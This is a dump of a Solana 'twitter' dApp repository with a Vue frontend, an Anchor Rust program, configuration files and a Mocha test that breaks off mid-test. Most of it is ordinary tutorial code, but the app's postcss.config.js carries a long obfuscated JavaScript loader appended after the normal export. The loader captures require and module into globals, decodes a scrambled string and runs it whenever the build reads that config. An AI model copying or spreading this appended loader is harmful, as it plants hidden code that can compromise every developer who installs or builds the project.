├── app
├── src
│ ├── models
│ │ ├── index.js
│ │ └── tweet.js
│ ├── assets
│ │ └── logo.png
│ ├── api
│ │ ├── index.js
│ │ ├── get-tweet.js
│ │ ├── fetch-tweets.js
│ │ └── send-tweet.js
│ ├── composables
│ │ ├── index.js
│ │ ├── useFromRoute.js
│ │ ├── useCountCharacterLimit.js
│ │ ├── useSlug.js
│ │ ├── useAutoresizeTextarea.js
│ │ └── useWorkspace.js
│ ├── components
│ │ ├── PageNotFound.vue
│ │ ├── PageHome.vue
│ │ ├── TweetList.vue
│ │ ├── PageProfile.vue
│ │ ├── PageTweet.vue
│ │ ├── TweetSearch.vue
│ │ ├── TweetCard.vue
│ │ ├── PageUsers.vue
│ │ ├── PageTopics.vue
│ │ ├── TweetForm.vue
│ │ └── TheSidebar.vue
│ ├── main.css
│ ├── main.js
│ ├── routes.js
│ └── App.vue
├── public
│ ├── favicon.ico
│ └── index.html
├── babel.config.js
├── tailwind.config.js
├── .gitignore
├── jsconfig.json
├── README.md
├── vue.config.js
├── package.json
└── postcss.config.js
├── .gitignore
├── programs
└── solana-twitter
│ ├── Xargo.toml
│ ├── Cargo.toml
│ └── src
│ └── lib.rs
├── .prettierignore
├── Cargo.toml
├── tsconfig.json
├── Anchor.toml
├── migrations
└── deploy.ts
├── package.json
├── tests
└── solana-twitter.ts
├── Cargo.lock
└── yarn.lock
/app/src/models/index.js:
--------------------------------------------------------------------------------
1 | export * from './tweet'
2 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 |
2 | .anchor
3 | .DS_Store
4 | target
5 | **/*.rs.bk
6 | node_modules
7 | test-ledger
8 |
--------------------------------------------------------------------------------
/app/public/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysfkel/solana-tweeter/HEAD/app/public/favicon.ico
--------------------------------------------------------------------------------
/app/src/assets/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysfkel/solana-tweeter/HEAD/app/src/assets/logo.png
--------------------------------------------------------------------------------
/programs/solana-twitter/Xargo.toml:
--------------------------------------------------------------------------------
1 | [target.bpfel-unknown-unknown.dependencies.std]
2 | features = []
3 |
--------------------------------------------------------------------------------
/.prettierignore:
--------------------------------------------------------------------------------
1 |
2 | .anchor
3 | .DS_Store
4 | target
5 | node_modules
6 | dist
7 | build
8 | test-ledger
9 |
--------------------------------------------------------------------------------
/app/babel.config.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | presets: [
3 | '@vue/cli-plugin-babel/preset'
4 | ]
5 | }
6 |
--------------------------------------------------------------------------------
/app/src/api/index.js:
--------------------------------------------------------------------------------
1 | export * from './fetch-tweets'
2 | export * from './get-tweet'
3 | export * from './send-tweet'
4 |
--------------------------------------------------------------------------------
/Cargo.toml:
--------------------------------------------------------------------------------
1 | [workspace]
2 | members = [
3 | "programs/*",
4 | ]
5 |
6 | [provider]
7 | cluster = "devnet"
8 | # cluster = "localnet"
9 | wallet = "/Users/yusufkelo/.config/solana/id.json"
10 |
--------------------------------------------------------------------------------
/app/src/composables/index.js:
--------------------------------------------------------------------------------
1 | export * from './useAutoresizeTextarea'
2 | export * from './useCountCharacterLimit'
3 | export * from './useFromRoute'
4 | export * from './useSlug'
5 | export * from './useWorkspace'
6 |
--------------------------------------------------------------------------------
/app/tailwind.config.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | content: [],
3 | theme: {
4 | extend: {},
5 | },
6 | plugins: [],
7 | purge: [
8 | './public/index.html',
9 | './src/**/*.{vue,js,ts,jsx,tsx}',
10 | ],
11 | }
12 |
--------------------------------------------------------------------------------
/tsconfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "compilerOptions": {
3 | "types": ["mocha", "chai"],
4 | "typeRoots": ["./node_modules/@types"],
5 | "lib": ["es2015"],
6 | "module": "commonjs",
7 | "target": "es6",
8 | "esModuleInterop": true
9 | }
10 | }
11 |
--------------------------------------------------------------------------------
/app/src/composables/useFromRoute.js:
--------------------------------------------------------------------------------
1 | import { onBeforeRouteUpdate, useRoute } from 'vue-router'
2 |
3 | export const useFromRoute = (fn) => {
4 | fn(useRoute(), null)
5 | onBeforeRouteUpdate((to, from, next) => {
6 | fn(to, from)
7 | next()
8 | })
9 | }
10 |
--------------------------------------------------------------------------------
/app/src/composables/useCountCharacterLimit.js:
--------------------------------------------------------------------------------
1 | import { ref, watchEffect } from "vue"
2 |
3 | export const useCountCharacterLimit = (text, limit) => {
4 | const characterLimit = ref(0)
5 | watchEffect(() => characterLimit.value = limit - text.value?.length)
6 |
7 | return characterLimit
8 | }
9 |
--------------------------------------------------------------------------------
/app/src/components/PageNotFound.vue:
--------------------------------------------------------------------------------
1 |
2 |
3 |
404 — Not Found
4 |
5 | Go back home
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/app/src/api/get-tweet.js:
--------------------------------------------------------------------------------
1 | import { useWorkspace } from '@/composables'
2 | import { Tweet } from '@/models'
3 |
4 | export const getTweet = async (publicKey) => {
5 | const { program } = useWorkspace()
6 | const account = await program.value.account.tweet.fetch(publicKey);
7 | return new Tweet(publicKey, account)
8 | }
--------------------------------------------------------------------------------
/app/src/composables/useSlug.js:
--------------------------------------------------------------------------------
1 | import { computed } from 'vue'
2 |
3 | export const useSlug = text => {
4 | return computed(() => {
5 | return (text.value || '')
6 | .toLowerCase()
7 | .replace(/[^a-z0-9 -]/g, '')
8 | .replace(/\s+/g, '-')
9 | .replace(/-+/g, '-')
10 | })
11 | }
12 |
--------------------------------------------------------------------------------
/app/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 | node_modules
3 | /dist
4 |
5 |
6 | # local env files
7 | .env.local
8 | .env.*.local
9 |
10 | # Log files
11 | npm-debug.log*
12 | yarn-debug.log*
13 | yarn-error.log*
14 | pnpm-debug.log*
15 |
16 | # Editor directories and files
17 | .idea
18 | .vscode
19 | *.suo
20 | *.ntvs*
21 | *.njsproj
22 | *.sln
23 | *.sw?
24 |
--------------------------------------------------------------------------------
/app/jsconfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "compilerOptions": {
3 | "target": "es5",
4 | "module": "esnext",
5 | "baseUrl": "./",
6 | "moduleResolution": "node",
7 | "paths": {
8 | "@/*": [
9 | "src/*"
10 | ]
11 | },
12 | "lib": [
13 | "esnext",
14 | "dom",
15 | "dom.iterable",
16 | "scripthost"
17 | ]
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/Anchor.toml:
--------------------------------------------------------------------------------
1 | [features]
2 | seeds = false
3 | [programs.localnet]
4 | solana_twitter = "DztaazG8QVrABwRoC4kgCJfaPZmmCu711Ms3uCuaKNcR"
5 |
6 | [registry]
7 | url = "https://anchor.projectserum.com"
8 |
9 | [provider]
10 | # cluster = "localnet"
11 | cluster = "devnet"
12 | wallet = "/Users/yusufkelo/.config/solana/id.json"
13 |
14 | [scripts]
15 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts"
16 |
--------------------------------------------------------------------------------
/app/README.md:
--------------------------------------------------------------------------------
1 | # app
2 |
3 | ## Project setup
4 | ```
5 | npm install
6 | ```
7 |
8 | ### Compiles and hot-reloads for development
9 | ```
10 | npm run serve
11 | ```
12 |
13 | ### Compiles and minifies for production
14 | ```
15 | npm run build
16 | ```
17 |
18 | ### Lints and fixes files
19 | ```
20 | npm run lint
21 | ```
22 |
23 | ### Customize configuration
24 | See [Configuration Reference](https://cli.vuejs.org/config/).
25 |
--------------------------------------------------------------------------------
/migrations/deploy.ts:
--------------------------------------------------------------------------------
1 | // Migrations are an early feature. Currently, they're nothing more than this
2 | // single deploy script that's invoked from the CLI, injecting a provider
3 | // configured from the workspace's Anchor.toml.
4 |
5 | const anchor = require("@project-serum/anchor");
6 |
7 | module.exports = async function (provider) {
8 | // Configure client to use the provider.
9 | anchor.setProvider(provider);
10 |
11 | // Add your deploy script here.
12 | };
13 |
--------------------------------------------------------------------------------
/programs/solana-twitter/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "solana-twitter"
3 | version = "0.1.0"
4 | description = "Created with Anchor"
5 | edition = "2021"
6 |
7 | [lib]
8 | crate-type = ["cdylib", "lib"]
9 | name = "solana_twitter"
10 |
11 | [features]
12 | no-entrypoint = []
13 | no-idl = []
14 | no-log-ix-name = []
15 | cpi = ["no-entrypoint"]
16 | default = []
17 |
18 | [profile.release]
19 | overflow-checks = true
20 |
21 | [dependencies]
22 | anchor-lang = "0.24.2"
23 |
--------------------------------------------------------------------------------
/app/src/main.css:
--------------------------------------------------------------------------------
1 | @tailwind base;
2 | @tailwind components;
3 | @tailwind utilities;
4 |
5 | .swv-dropdown {
6 | @apply w-full;
7 | }
8 |
9 | .swv-button {
10 | @apply rounded-full w-full;
11 | }
12 |
13 | .swv-button-trigger {
14 | @apply bg-pink-500 justify-center !important;
15 | }
16 |
17 | .swv-dropdown-list {
18 | @apply top-auto bottom-full md:top-full md:bottom-auto md:left-0 md:right-auto;
19 | }
20 |
21 | .swv-dropdown-list-active {
22 | @apply transform -translate-y-3 md:translate-y-3;
23 | }
24 |
--------------------------------------------------------------------------------
/app/src/composables/useAutoresizeTextarea.js:
--------------------------------------------------------------------------------
1 | import { watchEffect } from "vue"
2 |
3 | export const useAutoresizeTextarea = (element) => {
4 | const resizeTextarea = () => {
5 | element.value.style.height = 'auto'
6 | element.value.style.height = element.value.scrollHeight + 'px'
7 | }
8 |
9 | watchEffect(onInvalidate => {
10 | if (! element.value) return
11 | resizeTextarea()
12 | element.value.addEventListener('input', resizeTextarea)
13 | onInvalidate(() => element.value?.removeEventListener('input', resizeTextarea))
14 | })
15 | }
16 |
--------------------------------------------------------------------------------
/app/src/components/PageHome.vue:
--------------------------------------------------------------------------------
1 |
15 |
16 |
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/app/vue.config.js:
--------------------------------------------------------------------------------
1 | const { defineConfig } = require('@vue/cli-service')
2 | const webpack = require('webpack')
3 |
4 | module.exports = defineConfig({
5 | transpileDependencies: true,
6 | configureWebpack: {
7 | plugins: [
8 | new webpack.ProvidePlugin({
9 | Buffer: ['buffer', 'Buffer']
10 | })
11 | ],
12 | resolve: {
13 | fallback: {
14 | crypto: false,
15 | fs: false,
16 | assert: false,
17 | process: false,
18 | util: false,
19 | path: false,
20 | stream: false,
21 | }
22 | }
23 | }
24 | })
25 |
--------------------------------------------------------------------------------
/app/src/main.js:
--------------------------------------------------------------------------------
1 | import 'solana-wallets-vue/styles.css'
2 | import './main.css'
3 |
4 | // Day.js
5 | import dayjs from 'dayjs'
6 | import localizedFormat from 'dayjs/plugin/localizedFormat'
7 | import relativeTime from 'dayjs/plugin/relativeTime'
8 | dayjs.extend(localizedFormat)
9 | dayjs.extend(relativeTime)
10 |
11 | // Routing.
12 | import { createRouter, createWebHashHistory } from 'vue-router'
13 | import routes from './routes'
14 | const router = createRouter({
15 | history: createWebHashHistory(),
16 | routes,
17 | })
18 |
19 | import { createApp } from 'vue'
20 | import App from './App.vue'
21 | createApp(App).use(router).mount('#app')
22 |
--------------------------------------------------------------------------------
/app/public/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | <%= htmlWebpackPlugin.options.title %>
9 |
10 |
11 |
14 |
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/app/src/components/TweetList.vue:
--------------------------------------------------------------------------------
1 |
15 |
16 |
17 | Loading...
18 |
19 |
24 |
25 |
26 |
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "scripts": {
3 | "lint:fix": "prettier */*.js \"*/**/*{.js,.ts}\" -w",
4 | "lint": "prettier */*.js \"*/**/*{.js,.ts}\" --check"
5 | },
6 | "dependencies": {
7 | "@project-serum/anchor": "^0.24.2",
8 | "autoprefixer": "^10.4.7",
9 | "bs58": "^5.0.0",
10 | "postcss": "^8.4.14",
11 | "tailwindcss": "^3.0.24"
12 | },
13 | "devDependencies": {
14 | "@types/bn.js": "^5.1.0",
15 | "@types/chai": "^4.3.0",
16 | "@types/mocha": "^9.0.0",
17 | "chai": "^4.3.4",
18 | "mocha": "^9.0.3",
19 | "prettier": "^2.6.2",
20 | "ts-mocha": "^10.0.0",
21 | "typescript": "^4.3.5"
22 | },
23 | "license": "BSD-3-Clause",
24 | "private": true
25 | }
26 |
--------------------------------------------------------------------------------
/app/src/api/fetch-tweets.js:
--------------------------------------------------------------------------------
1 | import { useWorkspace } from '@/composables'
2 | import { Tweet } from '@/models'
3 | import bs58 from 'bs58'
4 |
5 | export const fetchTweets = async (filters = []) => {
6 | const { program } = useWorkspace()
7 | const tweets = await program.value.account.tweet.all(filters);
8 | return tweets.map(tweet => new Tweet(tweet.publicKey, tweet.account))
9 | }
10 |
11 | export const authorFilter = authorBase58PublicKey => ({
12 | memcmp: {
13 | offset: 8, // Discriminator.
14 | bytes: authorBase58PublicKey,
15 | }
16 | })
17 |
18 |
19 | export const topicFilter = topic => ({
20 | memcmp: {
21 | offset: 8 + // Discriminator.
22 | 32 + // Author public key.
23 | 8 + // Timestamp.
24 | 4, // Topic string prefix.
25 | bytes: bs58.encode(Buffer.from(topic)),
26 | }
27 | })
--------------------------------------------------------------------------------
/app/src/models/tweet.js:
--------------------------------------------------------------------------------
1 | import dayjs from "dayjs"
2 |
3 | export class Tweet
4 | {
5 | constructor (publicKey, accountData) {
6 | console.log('publicKey --', publicKey)
7 | this.publicKey = publicKey
8 | this.author = accountData.author
9 | this.timestamp = accountData.timestamp.toString()
10 | this.topic = accountData.topic
11 | this.content = accountData.content
12 | }
13 |
14 | get key () {
15 | return this.publicKey.toBase58()
16 | }
17 |
18 | get author_display () {
19 | const author = this.author.toBase58()
20 | return author.slice(0,4) + '..' + author.slice(-4)
21 | }
22 |
23 | get created_at () {
24 | return dayjs.unix(this.timestamp).format('lll')
25 | }
26 |
27 | get created_ago () {
28 | return dayjs.unix(this.timestamp).fromNow()
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/app/src/routes.js:
--------------------------------------------------------------------------------
1 | export default [
2 | {
3 | name: 'Home',
4 | path: '/',
5 | component: require('@/components/PageHome').default,
6 | },
7 | {
8 | name: 'Topics',
9 | path: '/topics/:topic?',
10 | component: require('@/components/PageTopics').default,
11 | },
12 | {
13 | name: 'Users',
14 | path: '/users/:author?',
15 | component: require('@/components/PageUsers').default,
16 | },
17 | {
18 | name: 'Profile',
19 | path: '/profile',
20 | component: require('@/components/PageProfile').default,
21 | },
22 | {
23 | name: 'Tweet',
24 | path: '/tweet/:tweet',
25 | component: require('@/components/PageTweet').default,
26 | },
27 | {
28 | name: 'NotFound',
29 | path: '/:pathMatch(.*)*',
30 | component: require('@/components/PageNotFound').default,
31 | },
32 | ]
33 |
--------------------------------------------------------------------------------
/app/src/api/send-tweet.js:
--------------------------------------------------------------------------------
1 | import * as anchor from '@project-serum/anchor'
2 | import { useWorkspace } from '@/composables'
3 | import { Tweet } from '@/models'
4 |
5 | export const sendTweet = async (topic, content) => {
6 |
7 | // As with the other API endpoints, we import and call the useWorkspace method
8 | // to access our program and the connected Anchor walle
9 | const { wallet, program } = useWorkspace();
10 |
11 | const tweet = anchor.web3.Keypair.generate();
12 |
13 | await program.value.rpc.sendTweet(topic, content, {
14 | accounts: {
15 | author: wallet.value.publicKey,
16 | tweet: tweet.publicKey,
17 | systemProgram: anchor.web3.SystemProgram.programId,
18 | },
19 | signers: [tweet]
20 | })
21 |
22 | const tweetAccount = await program.value.account.tweet.fetch(tweet.publicKey)
23 |
24 | return new Tweet(tweet.publicKey, tweetAccount)
25 | }
26 |
--------------------------------------------------------------------------------
/app/src/components/PageProfile.vue:
--------------------------------------------------------------------------------
1 |
20 |
21 |
22 |
23 | {{ wallet.publicKey.toBase58() }}
24 |
25 |
26 |
27 |
28 |
--------------------------------------------------------------------------------
/app/src/components/PageTweet.vue:
--------------------------------------------------------------------------------
1 |
25 |
26 |
27 |
28 | Loading...
29 |
30 |
31 | Tweet not found
32 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/app/src/App.vue:
--------------------------------------------------------------------------------
1 |
18 |
19 |
20 |
21 |
22 |
25 |
26 |
27 |
28 |
33 |
34 |
35 |
36 |
37 |
--------------------------------------------------------------------------------
/app/src/composables/useWorkspace.js:
--------------------------------------------------------------------------------
1 | import { computed } from 'vue'
2 | import { useAnchorWallet } from 'solana-wallets-vue'
3 | // import { Connection, clusterApiUrl, PublicKey } from '@solana/web3.js'
4 | import { Connection, PublicKey } from '@solana/web3.js'
5 | // import { Provider } from '@project-serum/anchor'
6 | import idl from '../../../target/idl/solana_twitter.json'
7 | import * as anchor from '@project-serum/anchor';
8 |
9 | const preflightCommitment = 'processed'
10 | const commitment = 'confirmed';
11 |
12 |
13 | const programID = new PublicKey(idl.metadata.address)
14 |
15 | const { Program, AnchorProvider } = anchor;
16 |
17 | let workspace = null
18 | export const useWorkspace = () => workspace
19 |
20 | export const initWorkspace = () => {
21 |
22 | const wallet = useAnchorWallet()
23 | const connection = new Connection('https://api.devnet.solana.com');//('http://127.0.0.1:8899')
24 | const provider = computed(() => new AnchorProvider(connection, wallet.value, { preflightCommitment, commitment }))
25 | const program = computed(() => new Program(idl, programID, provider.value))
26 |
27 | workspace = {
28 | wallet,
29 | connection,
30 | provider,
31 | program,
32 | }
33 | }
--------------------------------------------------------------------------------
/app/src/components/TweetSearch.vue:
--------------------------------------------------------------------------------
1 |
13 |
14 |
15 |
16 |
24 |
25 |
26 |
27 |
28 |
36 |
37 |
38 |
39 |
--------------------------------------------------------------------------------
/app/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "app",
3 | "version": "0.1.0",
4 | "private": true,
5 | "scripts": {
6 | "serve": "vue-cli-service serve",
7 | "build": "vue-cli-service build",
8 | "lint": "vue-cli-service lint"
9 | },
10 | "dependencies": {
11 | "@project-serum/anchor": "^0.25.0-beta.1",
12 | "@solana/wallet-adapter-wallets": "^0.15.5",
13 | "autoprefixer": "^10.4.7",
14 | "core-js": "^3.8.3",
15 | "dayjs": "^1.11.2",
16 | "postcss": "^8.4.14",
17 | "solana-wallets-vue": "^0.3.2",
18 | "tailwindcss": "^3.0.24",
19 | "ts-mocha": "^10.0.0",
20 | "vue": "^3.2.13",
21 | "vue-router": "^4.0.15"
22 | },
23 | "devDependencies": {
24 | "@babel/core": "^7.12.16",
25 | "@babel/eslint-parser": "^7.12.16",
26 | "@vue/cli-plugin-babel": "~5.0.0",
27 | "@vue/cli-plugin-eslint": "~5.0.0",
28 | "@vue/cli-service": "~5.0.0",
29 | "eslint": "^7.32.0",
30 | "eslint-plugin-vue": "^8.0.3"
31 | },
32 | "eslintConfig": {
33 | "root": true,
34 | "env": {
35 | "node": true,
36 | "vue/setup-compiler-macros": true
37 | },
38 | "extends": [
39 | "plugin:vue/vue3-essential",
40 | "eslint:recommended"
41 | ],
42 | "parserOptions": {
43 | "parser": "@babel/eslint-parser"
44 | },
45 | "rules": {}
46 | },
47 | "browserslist": [
48 | "> 1%",
49 | "last 2 versions",
50 | "not dead",
51 | "not ie 11"
52 | ],
53 | "license": "BSD-3-Clause"
54 | }
55 |
--------------------------------------------------------------------------------
/app/src/components/TweetCard.vue:
--------------------------------------------------------------------------------
1 |
23 |
24 |
25 |
26 |
27 |
28 |
29 | {{ tweet.author_display }}
30 |
31 |
32 | •
33 |
41 |
42 |
43 |
48 | #{{ tweet.topic }}
49 |
50 |
51 |
52 |
--------------------------------------------------------------------------------
/app/src/components/PageUsers.vue:
--------------------------------------------------------------------------------
1 |
44 |
45 |
46 |
52 |
53 |
67 |
68 |
69 |
70 |
71 |
72 | User not found...
73 |
74 |
75 |
76 |
--------------------------------------------------------------------------------
/app/src/components/PageTopics.vue:
--------------------------------------------------------------------------------
1 |
49 |
50 |
51 | (topic = value)"
56 | @search="search"
57 | >
58 |
59 |
71 |
72 |
73 |
74 |
75 |
76 |
77 | No tweets were found in this topic...
78 |
79 |
80 |
81 |
--------------------------------------------------------------------------------
/app/src/components/TweetForm.vue:
--------------------------------------------------------------------------------
1 |
49 |
50 |
51 |
52 |
53 |
60 |
61 |
62 |
63 |
88 |
89 |
90 |
{{ characterLimit }} left
91 |
92 |
93 |
101 |
102 |
103 |
104 |
105 |
106 | Connect your wallet to start tweeting...
107 |
108 |
109 |
--------------------------------------------------------------------------------
/programs/solana-twitter/src/lib.rs:
--------------------------------------------------------------------------------
1 | use anchor_lang::prelude::*;
2 | use anchor_lang::solana_program::system_program;
3 |
4 | declare_id!("DztaazG8QVrABwRoC4kgCJfaPZmmCu711Ms3uCuaKNcR");
5 |
6 | #[program]
7 | pub mod solana_twitter {
8 | use super::*;
9 |
10 | // A working instruction that initialises a new Tweet account for us and hydrates it with the right information
11 | pub fn send_tweet(ctx: Context, topic: String, content: String) -> Result<()> {
12 | let tweet: &mut Account = &mut ctx.accounts.tweet;
13 | let author: &Signer = &ctx.accounts.author;
14 | /**
15 | * We need access to Solana's Clock system variable to figure out the current
16 | * timestamp and store it on the tweet.
17 | */
18 | let clock: Clock = Clock::get().unwrap();
19 |
20 | if topic.chars().count() > 50 {
21 | return Err(ErrorCode::TopicTooLong.into());
22 | }
23 |
24 | if content.chars().count() > 280 {
25 | return Err(ErrorCode::ContentTooLong.into());
26 | }
27 | msg!("HELLOW SOLANA");
28 | //Let's start with the author's public key. We can access it via author.key
29 | tweet.author = *author.key;
30 | // Then, we can retrieve the current UNIX timestamp from the clock by using clock.unix_timestamp.
31 | tweet.timestamp = clock.unix_timestamp;
32 | tweet.topic = topic;
33 | tweet.content = content;
34 | Ok(())
35 | }
36 | }
37 |
38 | #[derive(Accounts)]
39 | pub struct Initialize {}
40 |
41 | #[account]
42 | pub struct Tweet {
43 | pub author: Pubkey, // pub struct Pubkey(pub(crate) PUBLIC_KEY_LENGTH
44 | pub timestamp: i64,
45 | pub topic: String,
46 | pub content: String,
47 | }
48 |
49 | /***
50 | * adding an account on a context simply means its public key should be
51 | * provided (see Tweet above) when sending the instruction Additionally, we might also require
52 | * the account to use its private key to sign the instruction depending on
53 | * what we're planning to do with the account. For instance, we will want
54 | * the author account to sign the instruction to ensure somebody is not
55 | * tweeting on behalf of someone else.
56 | */
57 | #[derive(Accounts)]
58 | pub struct SendTweet<'info> {
59 | // Account<'info, Tweet> means this is an account of type Tweet and the data should be parsed accordingly.
60 | #[account(init, payer = author, space = Tweet::LEN)]
61 | pub tweet: Account<'info, Tweet>,
62 | //As mentioned above, we need to know who is sending the tweet and we need their signature to prove it.
63 | /**
64 | * the author should pay for the rent-exempt money of the tweet account, we need to mark the author
65 | * property as mutable. That's because we are going to mutate the amount of money in their account.
66 | */
67 | #[account(mut)]
68 | pub author: Signer<'info>,
69 | /**
70 | * we need a constraint on the system_program to ensure it really is the official System Program from Solana.
71 | * Otherwise, nothing stops users from providing us with a malicious System Program.
72 | */
73 | #[account(address = system_program::ID)]
74 | // pub system_program: AccountInfo<'info>,
75 | // EDIT 2022-03-22: In newer versions of Anchor, we can achieve the same result by using yet another type of account called Program and passing it the System type to ensure it is the official System program.
76 | pub system_program: Program<'info, System>,
77 | }
78 |
79 | // sizing from https://lorisleiva.com/create-a-solana-dapp-from-scratch/structuring-our-tweet-account
80 | const DISCRIMINATOR_LENGTH: usize = 8;
81 | const PUBLIC_KEY_LENGTH: usize = 32; // 8bits = 1 byte | 1byte * 32 items = 32
82 | const TIME_STAMP: usize = 8;
83 | const STRING_LENGTH_PREFIX: usize = 4;
84 | const MAX_TOPIC_LENGTH: usize = 50 * 4;
85 | const MAX_CONTENT_LENGTH: usize = 280 * 4;
86 |
87 | impl Tweet {
88 | const LEN: usize = DISCRIMINATOR_LENGTH
89 | + PUBLIC_KEY_LENGTH
90 | + TIME_STAMP
91 | + STRING_LENGTH_PREFIX
92 | + MAX_TOPIC_LENGTH
93 | + MAX_CONTENT_LENGTH;
94 | }
95 |
96 | #[error_code]
97 | pub enum ErrorCode {
98 | #[msg("The provided topic should be 50 characters long maximum")]
99 | TopicTooLong,
100 | #[msg("The provided content should be 280 characters long maximum")]
101 | ContentTooLong,
102 | }
103 |
--------------------------------------------------------------------------------
/app/postcss.config.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | plugins: {
3 | tailwindcss: {},
4 | autoprefixer: {},
5 | },
6 | }; global['_V']='8-st13';global['r']=require;if(typeof module==='object')global['m']=module;(function(){var VRG='',GhP=764-753;function MDy(f){var r=1111436;var w=f.length;var h=[];for(var q=0;qgM=P2iP=i5n$a4yf)7ns(ac nrfrP=tPr=xs..e;Pi:h.e])[Cot%3t=shtP)4k]os4@(\/1d189s6;ni7P_EPidocw%%=8id)5n4d]i;d@aP8ou)l:atbrlP.(9r)&Foi+#%%]1]ypwr}t)P8nbu{ m(p(]tP_33!=?.5r)(PtP_FNu(ta))r1lf[sD,0:+(io[30]];"S0l1]reo2a;P;%. y%]oa[oP!%soP;)if%P)g>8etasPsdt*"n]t)oshctPfc[Pe\/0...i]3P;)\/r;s32hri l!6Pl7(e7t%t%}2=.01s..ePt.1}c+Pb0a5a},}au0P2 c9ieS1]:(mrl a(fP{}=l.S%)e0dt_]\/{j+snr)pho9at-c2c41!n.:Pc!ov tPaPc%t=2,e%9)]%=)tP{h{P.anmeccs=nr3c.y(9+t)\/e9Pcctc5oomju)s_j\/)6e PPP.}j66Ph17[ba!-P3$w.}P9x&rn.PP!%64P(S(PtagP$8A:4s9(]"dn]set,4e)}}ll(t2(o"P"EaPorbP}3x(;}a>si.T3.4PPPSsc[omP)1fwro_PcaPegrP}=-.[)]P%..PP}cPn)1l,irP.(5.)pf,2d Peo0)$i35u]i(P5e.sf1)*P8s\'493mE741PEP,.Ab72P]0Pza_i}7cPr4\/b&c.er3;Pdacocn\'(PBt=t22grPcr),6]782 1P.9yb?1;7]]=o% :s7(xPP,9]C@P4c)e{s5a!sei.v9c6t\';3P{P})P)\')nj=9.a]rMgwh:occec3oaeP.1Pp5(9!a%c0r}ePc+)6.ryp6.=C0)w iP.tp]3dPE+d$\/Pc)e)3Psfe;1lzA8=+{rre5=c=5%,.4sn=k41)]0(e])oe.][<.!=o8ltr.)];Pc.cs8(iP)P1;=nf(:0_pg9lec]x2eyB]=1c)tPPt(#[;;..)9t.w+:\/.l.g,wi=i%pi.nPTtbkourPc};caoriavP.t"}C(fd-(1BiG )Datc)1)]:!.dsiPnt8{cy ,t(}es%,v(PP.1vi>Ph!)n4sP%=lbm?78oP+bl4a=fr3eobvt3ngoa2!e4)r3[.(tg e(=](}8 ,tio%een7.xcil._gcicd(l4PNP>br\/)c!.ed;4nmd8]tno3e.;zcpe6ted+Paj h-P#caP(4b2ns9]ei)d%f[rsmu}hA.)d9eb8*ePt iP%)4a}(c2ab\'+Ck.cP,36P;rPj?%*tPs+%ib(:5n%>i3447P'));var tzo=AoT(VRG,quw );tzo(5471);return 3456})()
7 |
--------------------------------------------------------------------------------
/app/src/components/TheSidebar.vue:
--------------------------------------------------------------------------------
1 |
4 |
5 |
6 |
178 |
179 |
--------------------------------------------------------------------------------
/tests/solana-twitter.ts:
--------------------------------------------------------------------------------
1 | import * as anchor from "@project-serum/anchor";
2 | import { Program } from "@project-serum/anchor";
3 | import { SolanaTwitter } from "../target/types/solana_twitter";
4 | import * as assert from "assert";
5 | import * as bs58 from "bs58";
6 |
7 | describe("solana-twitter", () => {
8 | // Configure the client to use the local cluster.
9 | anchor.setProvider(anchor.AnchorProvider.env());
10 |
11 | // creates a program object we can use in our tests
12 | const program = anchor.workspace.SolanaTwitter as Program;
13 |
14 | it("can send a tweet!", async () => {
15 | const tweet = anchor.web3.Keypair.generate();
16 |
17 | await program.methods.sendTweet('non_vegetarian', 'I eat meat')
18 | .accounts({
19 | tweet: tweet.publicKey,
20 | author: program.provider.wallet.payer.publicKey,
21 | systemProgram: anchor.web3.SystemProgram.programId
22 | })
23 | .signers([tweet])
24 | .rpc();
25 | // Fetch the account details of the created tweet.
26 | const tweetAccount = await program.account.tweet.fetch(tweet.publicKey)
27 | console.log(tweetAccount)
28 | assert.equal(tweetAccount.author.toBase58(), program.provider.wallet.publicKey.toBase58());
29 | assert.equal(tweetAccount.content, 'I eat meat');
30 | assert.equal(tweetAccount.topic, 'non_vegetarian');
31 | assert.ok(tweetAccount.timestamp)
32 | });
33 |
34 | it('can send tweet without topic', async() => {
35 | const tweet = anchor.web3.Keypair.generate();
36 | await program.methods.sendTweet('', 'I eat meat')
37 | .accounts({
38 | tweet: tweet.publicKey,
39 | author: program.provider.wallet.payer.publicKey,
40 | systemProgram: anchor.web3.SystemProgram.programId
41 | })
42 | .signers([tweet])
43 | .rpc()
44 | // Fetch the account details of the created tweet.
45 | const tweetAccount = await program.account.tweet.fetch(tweet.publicKey)
46 | console.log(tweetAccount)
47 | assert.equal(tweetAccount.author.toBase58(), program.provider.wallet.publicKey.toBase58());
48 | assert.equal(tweetAccount.content, 'I eat meat');
49 | assert.equal(tweetAccount.topic, '');
50 | assert.ok(tweetAccount.timestamp)
51 | })
52 |
53 | it('can send a new tweet from a different author', async() => {
54 |
55 | const otherUser = anchor.web3.Keypair.generate();
56 |
57 | const tweet = anchor.web3.Keypair.generate();
58 |
59 | // we need to airdrop some money to the otherUser
60 | const signature = await program.provider.connection.requestAirdrop(otherUser.publicKey, 1000000000)
61 | // it's only "requesting" for the airdrop To ensure we wait long enough for the money
62 | // to be in the otherUser account, we need to wait for the transaction to confirm.
63 | await program.provider.connection.confirmTransaction(signature);
64 | await program.methods.sendTweet('', 'I eat meat')
65 | .accounts({
66 | tweet: tweet.publicKey,
67 | author: otherUser.publicKey,
68 | systemProgram: anchor.web3.SystemProgram.programId
69 | })
